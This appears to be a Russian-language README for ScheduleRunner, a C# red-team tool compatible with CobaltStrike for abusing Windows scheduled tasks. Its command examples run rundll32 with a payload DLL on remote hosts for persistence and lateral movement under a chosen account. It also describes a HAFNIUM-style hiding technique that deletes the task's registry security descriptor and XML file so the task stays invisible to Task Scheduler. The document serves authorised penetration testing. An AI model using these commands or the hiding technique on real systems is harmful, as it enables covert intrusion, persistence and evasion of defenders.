ScheduleRunner - Инструмент на C# с большей гибкостью для настройки запланированных задач для обеспечения персистентности и бокового перемещения в операциях red team

---

Запланированная задача — одна из самых популярных атакующих техник за последнее десятилетие, и сейчас она всё ещё широко используется хакерами/участниками red team для обеспечения персистентности и бокового перемещения.

Ряд инструментов на C# уже был разработан для симуляции атаки с использованием запланированных задач. Я экспериментировал с некоторыми из них, но каждый имеет свои ограничения в настройке запланированных задач. Поэтому этот проект направлен на создание инструмента на C# (совместимого с CobaltStrike execute-assembly), который включает необходимые мне возможности и обеспечивает достаточную гибкость при настройке запланированных задач.

Скриншот:

Методы (/method):

Параметры для создания запланированной задачи (/method:create):

[*] обязательные поля.

Параметры для удаления запланированной задачи (/method:delete):

[*] обязательные поля.

Параметры для выполнения запланированной задачи (/method:run):

[*] обязательные поля.

Параметры для запроса запланированной задачи (/method:query):

[*] обязательные поля.

Параметры для бокового перемещения запланированной задачи (/method:move):

[*] обязательные поля.

Пример

Создать запланированную задачу с именем "Cleanup", которая будет выполняться каждый день в 23:30.

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010

Создать запланированную задачу с именем "Cleanup", которая будет выполняться каждые 4 часа на удаленном сервере

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01

Удалить запланированную задачу с именем "Cleanup"

ScheduleRunner.exe /method:delete /taskname:Cleanup

Выполнить запланированную задачу с именем "Cleanup"

ScheduleRunner.exe /method:run /taskname:Cleanup

Запросить подробности о запланированной задаче с именем "Cleanup" в папке "\Microsoft\Windows\CertificateServicesClient" на удаленном сервере

ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

Запросить все запланированные задачи в указанной папке "\Microsoft\Windows\CertificateServicesClient" на удаленном сервере

ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

Запросить все подпапки в запланированных задачах

ScheduleRunner.exe /method:queryfolders

Выполнить боковое перемещение с помощью запланированной задачи на удаленный сервер, используя указанную учетную запись

ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010

Создать запланированную задачу с именем "Cleanup" с использованием техники скрытия запланированной задачи:

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide

Удалить запланированную задачу с именем "Cleanup", которая была создана с использованием техники скрытия запланированной задачи:

ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide

Техника скрытия запланированной задачи

Эта техника использовалась угрозой - HAFNIUM и недавно была обнаружена Microsoft. Она направлена на то, чтобы сделать запланированную задачу недоступной для запросов инструментами и невидимой для планировщика задач.

Для использования этой техники требуются права "NT AUTHORITY\SYSTEM", и ScheduleRunner сделает следующее:

1. Удалить значение "SD" из "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree[task name]"
2. Удалить файл XML запланированной задачи "C:\Windows\System32\Tasks[task name]"

Чтобы удалить запланированную задачу, созданную с помощью этой техники, необходимо добавить "/technique:hide" в метод delete для корректного удаления.

Недостаток этой техники:

Задача будет продолжать выполняться до следующей перезагрузки системы, даже если она удалена через реестр. Поэтому лучше не использовать эту технику на сервере для вашей операции.

Демонстрация

Используемые библиотеки и ссылки: